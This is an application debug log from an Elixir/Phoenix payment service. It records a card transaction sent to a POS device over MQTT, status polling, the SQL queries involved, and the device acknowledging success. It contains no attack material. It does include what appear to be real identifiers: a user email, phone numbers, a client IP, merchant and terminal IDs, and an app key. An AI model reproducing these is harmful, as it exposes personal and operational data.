- Params: %{"accountLabel" => "", "amount" => "122", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch870253592794", "externalRefNumber2" => "1722973559", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}

[Thu Sep  3 13:27:12.541000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60828] QUERY OK source="users" db=0.7ms idle=94.1ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 13:27:12.542000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60828] QUERY OK source="custom_events" db=1.4ms idle=95.1ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 13:27:12.544000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:60828] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
Reference ID: "ch870253592794"
Payload: %{
  status: "online",
  username: "prasanna@dataaegis.com",
  ts: 1788442032,
  device_id: "98251226730002",
  amount: 122
}

[Thu Sep  3 13:27:12.544000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:60828] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "prasanna@dataaegis.com",
    ts: 1788442032,
    device_id: "98251226730002",
    amount: 122
  },
  event_name: "Response From Device Online Status",
  refrence_id: "ch870253592794",
  transaction_id: nil,
  date_added: ~U[2026-09-03 13:27:12.544723Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
[Thu Sep  3 13:27:12.544000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:60828] Creating custom event log with attributes: %{payload: %{status: "online", username: "prasanna@dataaegis.com", ts: 1788442032, device_id: "98251226730002", amount: 122}, event_name: "Response From Device Online Status", refrence_id: "ch870253592794", transaction_id: nil, date_added: ~U[2026-09-03 13:27:12.544723Z], event_id: 36, event_value: "response_from_device_online_status"}
[Thu Sep  3 13:27:12.577000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60828] QUERY OK db=31.4ms idle=100.1ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "prasanna@dataaegis.com", ts: 1788442032, device_id: "98251226730002", amount: 122}, "Response From Device Online Status", "ch870253592794", ~U[2026-09-03 13:27:12Z], 36, "response_from_device_online_status", ~N[2026-09-03 13:27:12], ~N[2026-09-03 13:27:12]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 13:27:12.578000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:60828] Successfully created custom event log with ID: 40237
[Thu Sep  3 13:27:12.578000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:60828] Publish payload 98251226730002: "{\"type\":\"card\",\"request_id\":\"ch870253592794\",\"amount\":12200,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Thu Sep  3 13:27:12.642000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60828] QUERY OK db=62.2ms queue=1.3ms idle=132.5ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"accountLabel" => "", "amount" => "122", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch870253592794", "externalRefNumber2" => "1722973559", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}, "ch_2b3c5fd5b044@mercurypay.in", "98251226730002", "ch870253592794", 4, Decimal.new("122"), %{}, "1", ~N[2026-09-03 13:27:12], ~N[2026-09-03 13:27:12]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Thu Sep  3 13:27:12.643000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60828] QUERY OK source="users" db=0.7ms idle=196.6ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 13:27:12.644000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60828] QUERY OK source="custom_events" db=1.0ms idle=197.5ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 13:27:12.645000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:60828] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "ch870253592794"
Payload: %{
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
  ts: 1788442032,
  qos: 1,
  device_id: "98251226730002",
  amount: 122
}

[Thu Sep  3 13:27:12.645000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:60828] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
    ts: 1788442032,
    qos: 1,
    device_id: "98251226730002",
    amount: 122
  },
  event_name: "Request For Publish Txn",
  refrence_id: "ch870253592794",
  transaction_id: nil,
  date_added: ~U[2026-09-03 13:27:12.645365Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Thu Sep  3 13:27:12.646000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:60828] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788442032, qos: 1, device_id: "98251226730002", amount: 122}, event_name: "Request For Publish Txn", refrence_id: "ch870253592794", transaction_id: nil, date_added: ~U[2026-09-03 13:27:12.645365Z], event_id: 37, event_value: "request_for_publish_txn"}
[Thu Sep  3 13:27:12.684000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60828] QUERY OK db=37.3ms idle=141.9ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788442032, qos: 1, device_id: "98251226730002", amount: 122}, "Request For Publish Txn", "ch870253592794", ~U[2026-09-03 13:27:12Z], 37, "request_for_publish_txn", ~N[2026-09-03 13:27:12], ~N[2026-09-03 13:27:12]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 13:27:12.684000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:60828] Successfully created custom event log with ID: 40238
[Thu Sep  3 13:27:12.685000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:60828] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/98251226730002/update with ref: #Reference<0.2525715032.1113063425.19570>
[Thu Sep  3 13:27:12.685000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:60828] Published successfully to topic2: ota/pos/12345678/98251226730002/sub with ref: #Reference<0.2525715032.1094189058.231733>
[Thu Sep  3 13:27:12.686000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60828] QUERY OK source="users" db=0.4ms idle=180.4ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 13:27:12.689000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60828] QUERY OK source="custom_events" db=0.9ms queue=0.2ms idle=162.3ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 13:27:12.690000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:60828] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "ch870253592794"
Payload: %{
  error: nil,
  status: "success",
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
  ts: 1788442032,
  device_id: "98251226730002",
  amount: 122
}

[Thu Sep  3 13:27:12.692000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:60828] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
    ts: 1788442032,
    device_id: "98251226730002",
    amount: 122
  },
  event_name: "Response From Publish Txn",
  refrence_id: "ch870253592794",
  transaction_id: nil,
  date_added: ~U[2026-09-03 13:27:12.690326Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
[Thu Sep  3 13:27:12.692000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:60828] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788442032, device_id: "98251226730002", amount: 122}, event_name: "Response From Publish Txn", refrence_id: "ch870253592794", transaction_id: nil, date_added: ~U[2026-09-03 13:27:12.690326Z], event_id: 38, event_value: "response_from_publish_txn"}
[Thu Sep  3 13:27:12.754000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:60828] QUERY OK db=61.4ms idle=154.0ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788442032, device_id: "98251226730002", amount: 122}, "Response From Publish Txn", "ch870253592794", ~U[2026-09-03 13:27:12Z], 38, "response_from_publish_txn", ~N[2026-09-03 13:27:12], ~N[2026-09-03 13:27:12]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 13:27:12.754000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:60828] Successfully created custom event log with ID: 40239
[Thu Sep  3 13:27:12.755000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:60828] Publish successful to 98251226730002 with ref: #Reference<0.2525715032.1094189058.231733>
[Thu Sep  3 13:27:12.756000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:60828] Sent 200 in 253ms
[Thu Sep  3 13:27:19.102000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:59140] POST /api/device/status
[Thu Sep  3 13:27:19.103000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:59140] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch870253592794", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 13:27:19.105000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:59140] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch870253592794", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 13:27:19.105000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:59140] Transaction reference number: "ch870253592794"
[Thu Sep  3 13:27:19.125000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59140] QUERY OK source="pos_transaction" db=18.9ms idle=659.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch870253592794"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 13:27:19.126000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59140] QUERY OK source="pos_temp_transaction" db=1.1ms idle=679.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch870253592794"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 13:27:19.135000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59140] QUERY OK source="pos_failed_transaction" db=8.2ms idle=680.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch870253592794"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 13:27:19.136000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59140] QUERY OK source="cloud_transaction" db=1.1ms idle=689.2ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch870253592794"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 13:27:19.137000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:59140] Sent 200 in 34ms
[Thu Sep  3 13:27:23.660000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:59156] POST /api/device/status
[Thu Sep  3 13:27:23.661000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:59156] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch870253592794", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 13:27:23.661000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:59156] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch870253592794", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 13:27:23.661000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:59156] Transaction reference number: "ch870253592794"
[Thu Sep  3 13:27:23.678000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59156] QUERY OK source="pos_transaction" db=15.3ms idle=1216.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch870253592794"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 13:27:23.681000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59156] QUERY OK source="pos_terminals" db=2.3ms idle=1232.7ms
SELECT p0.`id`, p0.`name`, p0.`serial_number`, p0.`device_type`, p0.`terminal_id`, p0.`provider_id`, p0.`status`, p0.`activated_by`, p0.`deactivated_by`, p0.`assigned_by`, p0.`longitude`, p0.`latitude`, p0.`assigned_date`, p0.`device_request_id`, p0.`threshold_fee`, p0.`terminalid`, p0.`terminalidmerchantid`, p0.`pos_merchant_id`, p0.`store_id`, p0.`inserted_at`, p0.`updated_at`, s1.`id`, s1.`code`, s1.`name`, s1.`neo_merchant_id`, s1.`address_id`, s1.`brand_id`, s1.`inserted_at`, s1.`updated_at` FROM `pos_terminals` AS p0 LEFT OUTER JOIN `stores` AS s1 ON p0.`store_id` = s1.`id` WHERE ((p0.`terminalidmerchantid` = ?) AND (p0.`terminal_id` = ?)) LIMIT 1 ["667267350000000", "26735914"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_device_and_store/2, at: lib/da_product_app_web/services/device_txn_context.ex:69
[Thu Sep  3 13:27:23.683000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59156] QUERY OK source="brands" db=1.5ms idle=1235.9ms
SELECT b0.`id`, b0.`code`, b0.`name`, b0.`description`, b0.`default_acquirer`, b0.`group_id`, b0.`merchant_reference_id`, b0.`region`, b0.`merchant_tag`, b0.`inserted_at`, b0.`updated_at` FROM `brands` AS b0 WHERE (b0.`id` = ?) [667]
↳ DaProductAppWeb.Services.DeviceTxnContext.card_txn_context/2, at: lib/da_product_app_web/services/device_txn_context.ex:24
[Thu Sep  3 13:27:23.685000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59156] QUERY OK source="user_metadata" db=1.0ms idle=1278.9ms
SELECT u1.`name`, u1.`phone`, u1.`username`, c2.`code` FROM `user_metadata` AS u0 INNER JOIN `users` AS u1 ON u1.`id` = u0.`user_id` LEFT OUTER JOIN `currencies` AS c2 ON c2.`id` = u1.`currency_id` WHERE (u0.`merchant_refrence_number` = ?) LIMIT 1 ["667267350000000"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_merchant_currency/1, at: lib/da_product_app_web/services/device_txn_context.ex:117
[Thu Sep  3 13:27:23.686000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59156] QUERY OK source="cloud_transaction" db=0.7ms idle=1239.0ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch870253592794"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_cloud_payload/1, at: lib/da_product_app_web/services/device_txn_context.ex:126
[Thu Sep  3 13:27:23.686000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:59156] Sent 200 in 26ms
[Thu Sep  3 13:27:49.436000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730002 with payload: {"request_id" : "ch870253592794","money": "12200.0", "status": "SUCCESS" }
[Thu Sep  3 13:27:49.437000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730002 with request_id ch870253592794: %{"money" => "12200.0", "request_id" => "ch870253592794", "status" => "SUCCESS"}
[Thu Sep  3 13:27:49.440000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id ch870253592794 is success
[Thu Sep  3 13:27:49.442000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=1.4ms idle=1994.2ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["ch870253592794", "98251226730002"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Thu Sep  3 13:27:49.486000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=35.7ms queue=8.3ms idle=1680.9ms
UPDATE `cloud_transaction` SET `status` = ?, `acknoledgment` = ?, `updated_at` = ? WHERE `id` = ? ["success", "received", ~N[2026-09-03 13:27:49], 4964]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:63
[Thu Sep  3 13:27:49.487000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Transaction ch870253592794 updated to success/received
[Thu Sep  3 13:30:00.330000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.9ms idle=1875.2ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 13:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 13:30:00.692000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.8ms idle=1237.0ms
